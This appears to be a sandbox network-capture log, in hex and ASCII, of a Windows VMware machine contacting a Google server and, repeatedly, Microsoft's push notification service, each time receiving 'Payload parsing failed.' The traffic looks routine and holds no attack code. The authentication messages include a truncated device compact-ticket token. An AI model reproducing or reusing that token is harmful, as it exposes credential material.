2024-12-24 13:02:11 UTC	933	IN	HTTP/1.1 200 OK Version: 705503573 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Tue, 24 Dec 2024 13:02:11 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-24 13:02:11 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-12-24 13:02:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.6	49742	20.198.118.190	443

Timestamp	Bytes transferred	Direction	Data
2024-12-24 13:02:16 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 4f 43 64 6b 56 69 2f 72 6c 6b 79 4c 45 6f 37 77 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 30 66 37 64 34 63 62 30 64 61 63 31 35 63 66 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: OCdkVi/rlkyLEo7w.1Context: 40f7d4cb0dac15cf
2024-12-24 13:02:16 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-24 13:02:16 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 4f 43 64 6b 56 69 2f 72 6c 6b 79 4c 45 6f 37 77 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 30 66 37 64 34 63 62 30 64 61 63 31 35 63 66 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 53 71 62 4f 39 58 63 35 57 58 37 37 38 35 61 6c 7a 58 63 32 76 71 35 52 2f 72 54 52 32 44 54 44 53 77 7a 52 46 34 58 51 73 73 75 30 4e 34 44 4f 79 4a 6a 4f 62 47 2b 35 65 6a 54 2f 2f 38 69 44 44 6f 61 6c 79 4c 76 58 51 38 4b 37 4b 73 5a 70 62 69 49 65 36 59 68 56 53 68 62 69 34 4c 43 52 41 50 65 4f 71 49 64 66 53 32 47 6a 79 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: OCdkVi/rlkyLEo7w.2Context: 40f7d4cb0dac15cf<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAASqbO9Xc5WX7785alzXc2vq5R/rTR2DTDSwzRF4XQssu0N4DOyJjObG+5ejT//8iDDoalyLvXQ8K7KsZpbiIe6YhVShbi4LCRAPeOqIdfS2Gjy
2024-12-24 13:02:16 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 4f 43 64 6b 56 69 2f 72 6c 6b 79 4c 45 6f 37 77 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 30 66 37 64 34 63 62 30 64 61 63 31 35 63 66 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: OCdkVi/rlkyLEo7w.3Context: 40f7d4cb0dac15cf<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-24 13:02:16 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-24 13:02:16 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 76 55 4f 46 6f 57 48 6f 78 45 79 69 6e 6d 6c 38 6c 72 5a 58 6c 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: vUOFoWHoxEyinml8lrZXlQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.6	49780	20.198.118.190	443

Timestamp	Bytes transferred	Direction	Data
2024-12-24 13:02:28 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 53 4e 35 4c 50 52 61 54 62 6b 43 64 77 2b 6b 34 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 39 38 38 36 64 35 63 34 64 39 63 30 32 33 36 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: SN5LPRaTbkCdw+k4.1Context: 29886d5c4d9c0236
2024-12-24 13:02:28 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-24 13:02:28 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 53 4e 35 4c 50 52 61 54 62 6b 43 64 77 2b 6b 34 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 39 38 38 36 64 35 63 34 64 39 63 30 32 33 36 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 53 71 62 4f 39 58 63 35 57 58 37 37 38 35 61 6c 7a 58 63 32 76 71 35 52 2f 72 54 52 32 44 54 44 53 77 7a 52 46 34 58 51 73 73 75 30 4e 34 44 4f 79 4a 6a 4f 62 47 2b 35 65 6a 54 2f 2f 38 69 44 44 6f 61 6c 79 4c 76 58 51 38 4b 37 4b 73 5a 70 62 69 49 65 36 59 68 56 53 68 62 69 34 4c 43 52 41 50 65 4f 71 49 64 66 53 32 47 6a 79 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: SN5LPRaTbkCdw+k4.2Context: 29886d5c4d9c0236<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAASqbO9Xc5WX7785alzXc2vq5R/rTR2DTDSwzRF4XQssu0N4DOyJjObG+5ejT//8iDDoalyLvXQ8K7KsZpbiIe6YhVShbi4LCRAPeOqIdfS2Gjy
2024-12-24 13:02:28 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 53 4e 35 4c 50 52 61 54 62 6b 43 64 77 2b 6b 34 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 39 38 38 36 64 35 63 34 64 39 63 30 32 33 36 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: SN5LPRaTbkCdw+k4.3Context: 29886d5c4d9c0236<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-24 13:02:28 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-24 13:02:28 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 49 34 57 49 61 33 75 35 55 30 4f 67 59 70 78 43 2f 47 35 68 44 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: I4WIa3u5U0OgYpxC/G5hDw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.6	49810	20.198.118.190	443

Timestamp	Bytes transferred	Direction	Data
2024-12-24 13:02:41 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 34 57 32 71 50 7a 35 64 6d 45 32 31 39 76 30 54 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 65 63 38 31 63 66 38 66 65 36 33 66 32 36 62 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: 4W2qPz5dmE219v0T.1Context: 6ec81cf8fe63f26b
2024-12-24 13:02:41 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-24 13:02:41 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 34 57 32 71 50 7a 35 64 6d 45 32 31 39 76 30 54 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 65 63 38 31 63 66 38 66 65 36 33 66 32 36 62 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 53 71 62 4f 39 58 63 35 57 58 37 37 38 35 61 6c 7a 58 63 32 76 71 35 52 2f 72 54 52 32 44 54 44 53 77 7a 52 46 34 58 51 73 73 75 30 4e 34 44 4f 79 4a 6a 4f 62 47 2b 35 65 6a 54 2f 2f 38 69 44 44 6f 61 6c 79 4c 76 58 51 38 4b 37 4b 73 5a 70 62 69 49 65 36 59 68 56 53 68 62 69 34 4c 43 52 41 50 65 4f 71 49 64 66 53 32 47 6a 79 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: 4W2qPz5dmE219v0T.2Context: 6ec81cf8fe63f26b<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAASqbO9Xc5WX7785alzXc2vq5R/rTR2DTDSwzRF4XQssu0N4DOyJjObG+5ejT//8iDDoalyLvXQ8K7KsZpbiIe6YhVShbi4LCRAPeOqIdfS2Gjy
2024-12-24 13:02:41 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 34 57 32 71 50 7a 35 64 6d 45 32 31 39 76 30 54 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 65 63 38 31 63 66 38 66 65 36 33 66 32 36 62 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: 4W2qPz5dmE219v0T.3Context: 6ec81cf8fe63f26b<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-24 13:02:42 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-24 13:02:42 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 39 50 51 31 64 35 59 6e 78 45 47 30 4d 41 73 6b 2b 41 58 31 56 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 9PQ1d5YnxEG0MAsk+AX1Vg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.6	49853	20.198.118.190	443

Timestamp	Bytes transferred	Direction	Data
2024-12-24 13:03:01 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 6d 78 65 41 76 67 79 30 59 30 61 59 76 68 76 41 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 66 62 66 33 30 33 34 61 62 65 34 37 64 62 37 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: mxeAvgy0Y0aYvhvA.1Context: 4fbf3034abe47db7
2024-12-24 13:03:01 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-24 13:03:01 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 6d 78 65 41 76 67 79 30 59 30 61 59 76 68 76 41 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 66 62 66 33 30 33 34 61 62 65 34 37 64 62 37 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 53 71 62 4f 39 58 63 35 57 58 37 37 38 35 61 6c 7a 58 63 32 76 71 35 52 2f 72 54 52 32 44 54 44 53 77 7a 52 46 34 58 51 73 73 75 30 4e 34 44 4f 79 4a 6a 4f 62 47 2b 35 65 6a 54 2f 2f 38 69 44 44 6f 61 6c 79 4c 76 58 51 38 4b 37 4b 73 5a 70 62 69 49 65 36 59 68 56 53 68 62 69 34 4c 43 52 41 50 65 4f 71 49 64 66 53 32 47 6a 79 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: mxeAvgy0Y0aYvhvA.2Context: 4fbf3034abe47db7<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAASqbO9Xc5WX7785alzXc2vq5R/rTR2DTDSwzRF4XQssu0N4DOyJjObG+5ejT//8iDDoalyLvXQ8K7KsZpbiIe6YhVShbi4LCRAPeOqIdfS2Gjy
2024-12-24 13:03:01 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 6d 78 65 41 76 67 79 30 59 30 61 59 76 68 76 41 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 66 62 66 33 30 33 34 61 62 65 34 37 64 62 37 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: mxeAvgy0Y0aYvhvA.3Context: 4fbf3034abe47db7<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-24 13:03:02 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-24 13:03:02 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 37 43 70 38 38 78 52 37 66 6b 53 31 59 2f 76 6f 4d 41 35 50 50 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 7Cp88xR7fkS1Y/voMA5PPg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.6	49908	20.198.118.190	443

Timestamp	Bytes transferred	Direction	Data
2024-12-24 13:03:25 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 62 4f 75 37 77 4b 4f 6f 6c 45 4b 4a 79 57 33 65 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 33 38 65 31 64 66 63 66 37 65 38 39 30 31 61 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: bOu7wKOolEKJyW3e.1Context: e38e1dfcf7e8901a
2024-12-24 13:03:25 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-24 13:03:25 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 62 4f 75 37 77 4b 4f 6f 6c 45 4b 4a 79 57 33 65 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 33 38 65 31 64 66 63 66 37 65 38 39 30 31 61 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 53 71 62 4f 39 58 63 35 57 58 37 37 38 35 61 6c 7a 58 63 32 76 71 35 52 2f 72 54 52 32 44 54 44 53 77 7a 52 46 34 58 51 73 73 75 30 4e 34 44 4f 79 4a 6a 4f 62 47 2b 35 65 6a 54 2f 2f 38 69 44 44 6f 61 6c 79 4c 76 58 51 38 4b 37 4b 73 5a 70 62 69 49 65 36 59 68 56 53 68 62 69 34 4c 43 52 41 50 65 4f 71 49 64 66 53 32 47 6a 79 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: bOu7wKOolEKJyW3e.2Context: e38e1dfcf7e8901a<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAASqbO9Xc5WX7785alzXc2vq5R/rTR2DTDSwzRF4XQssu0N4DOyJjObG+5ejT//8iDDoalyLvXQ8K7KsZpbiIe6YhVShbi4LCRAPeOqIdfS2Gjy
2024-12-24 13:03:25 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 62 4f 75 37 77 4b 4f 6f 6c 45 4b 4a 79 57 33 65 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 33 38 65 31 64 66 63 66 37 65 38 39 30 31 61 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: bOu7wKOolEKJyW3e.3Context: e38e1dfcf7e8901a<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-24 13:03:26 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
